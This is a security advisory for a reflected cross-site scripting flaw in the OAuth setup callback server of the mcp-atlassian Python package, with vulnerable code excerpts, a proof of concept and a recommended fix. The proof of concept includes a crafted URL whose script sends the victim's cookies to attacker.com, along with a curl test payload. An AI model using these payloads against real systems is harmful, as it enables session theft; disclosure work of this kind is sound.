GHSA-g2r2-3j32-j27x

Suggest an improvement
Source
https://github.com/advisories/GHSA-g2r2-3j32-j27x
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-g2r2-3j32-j27x/GHSA-g2r2-3j32-j27x.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-g2r2-3j32-j27x
Aliases
Published
2026-09-22T20:35:25Z
Modified
2026-09-22T21:00:06Z
Severity
  • 5.4 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N CVSS Calculator
Summary
MCP Atlassian: Reflected XSS in OAuth Setup Callback Handler
Details

Summary

The OAuth 2.0 setup wizard's local callback HTTP server reflects the error query parameter directly into an HTML response without any sanitization or encoding. An attacker can craft a malicious callback URL containing JavaScript in the error parameter that executes in the victim's browser when the setup wizard is running. The server binds to all network interfaces (0.0.0.0), making it accessible from the local network rather than just localhost.

Details

The vulnerability exists in the CallbackHandler class in src/mcp_atlassian/utils/oauth_setup.py.

Step 1 -- Attacker-controlled input enters unsanitized:

At line 63-66, the error query parameter from the URL is read and interpolated into a message string without HTML escaping:

# src/mcp_atlassian/utils/oauth_setup.py:63-66
if "error" in params:
    callback_error = params["error"][0]
    callback_received = True
    self._send_response(f"Authorization failed: {callback_error}")

Step 2 -- Unsanitized input is injected into HTML:

At line 124-125 in _send_response, the message variable (containing the unescaped attacker input) is injected directly into the HTML template via f-string interpolation:

# src/mcp_atlassian/utils/oauth_setup.py:124-125
<div class="message {"success" if status == 200 else "error"}">
    <p>{message}</p>
</div>

Step 3 -- Server listens on all interfaces:

At line 167, the callback server binds to all network interfaces, not just localhost:

# src/mcp_atlassian/utils/oauth_setup.py:167
httpd = socketserver.TCPServer(("", port), handler)

This means the XSS is exploitable from any machine that can reach the victim's IP on the callback port (default 8080), not just from the local machine.

Step 4 -- No security headers:

The response at line 84-86 sets Content-type: text/html but does not include Content-Security-Policy, X-Content-Type-Options, or X-XSS-Protection headers:

# src/mcp_atlassian/utils/oauth_setup.py:84-86
self.send_response(status)
self.send_header("Content-type", "text/html")
self.end_headers()

PoC

Prerequisites: The victim must be running the OAuth setup wizard (mcp-atlassian --oauth-setup or run_oauth_setup()), which starts the callback server.

Step 1 -- Craft the malicious URL:

http://<victim-ip>:8080/callback?error=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Step 2 -- Deliver the link to the victim:

Send the link to the victim (via email, chat, or any channel). When the victim clicks the link while their OAuth setup wizard is running, the JavaScript executes in their browser context.

Step 3 -- Verify with a simpler payload:

# Start the setup wizard (victim's machine)
# uv run mcp-atlassian --oauth-setup

# From attacker's machine (or same network):
curl "http://<victim-ip>:8080/callback?error=%3Cscript%3Ealert(document.domain)%3C/script%3E"

The response HTML will contain:

<p>Authorization failed: <script>alert(document.domain)</script></p>

Impact

  • JavaScript execution in the victim's browser context during the OAuth setup flow.
  • While the callback server is short-lived (only active during initial setup), the exposure window is meaningful because:
    1. The server binds to all interfaces, making it accessible from the local network.
    2. The setup wizard waits up to 300 seconds (5 minutes) for the callback (line 174).
    3. During this window, any crafted request triggers the XSS.
  • An attacker on the same network could potentially intercept or manipulate the OAuth authorization code, since the callback also handles code and state parameters on the same endpoint.

Recommended Fix

1. HTML-escape the message before injecting into the template:

# src/mcp_atlassian/utils/oauth_setup.py
import html

def _send_response(self, message: str, status: int = 200) -> None:
    """Send response to the browser."""
    self.send_response(status)
    self.send_header("Content-type", "text/html")
    self.send_header("X-Content-Type-Options", "nosniff")
    self.send_header("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'")
    self.end_headers()

    # Escape user-controlled content before HTML injection
    safe_message = html.escape(message)

    html_content = f"""
    ...
            <div class="message {"success" if status == 200 else "error"}">
                <p>{safe_message}</p>
            </div>
    ...
    """

2. Bind the callback server to localhost only:

# src/mcp_atlassian/utils/oauth_setup.py:167
# Change from:
httpd = socketserver.TCPServer(("", port), handler)
# To:
httpd = socketserver.TCPServer(("127.0.0.1", port), handler)
Database specific
{
    "cwe_ids":  [
        "CWE-79"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-09-22T20:35:25Z",
    "nvd_published_at":  null,
    "severity":  "MODERATE"
}
References

Affected packages

PyPI / mcp-atlassian

Package

Name
mcp-atlassian
View open source insights on deps.dev
Purl
pkg:pypi/mcp-atlassian

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.22.0

Affected versions

0.*
0.1.1
0.1.2
0.1.3
0.1.4
0.1.6
0.1.7
0.1.8
0.1.9
0.1.10
0.1.11
0.1.12
0.1.13
0.1.14
0.1.15
0.1.16
0.2.0
0.2.1
0.2.2
0.2.3
0.2.4
0.2.5
0.2.6
0.3.0
0.3.1
0.4.0
0.5.0
0.6.0
0.6.1
0.6.2
0.6.3
0.6.4
0.6.5
0.7.0
0.7.1
0.8.0
0.8.1
0.8.2
0.8.3
0.8.4
0.9.0
0.10.0
0.10.1
0.10.2
0.10.3
0.10.4
0.10.5
0.10.6
0.11.0
0.11.1
0.11.2a2
0.11.2
0.11.3
0.11.4
0.11.5
0.11.6
0.11.7
0.11.8
0.11.9
0.11.10
0.11.11
0.11.12
0.12.0
0.13.0
0.13.1
0.14.0
0.14.1
0.14.2
0.14.3
0.15.0
0.16.0
0.16.1
0.17.0
0.18.0
0.18.1
0.19.0
0.20.0
0.20.1
0.21.0
0.21.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-g2r2-3j32-j27x/GHSA-g2r2-3j32-j27x.json"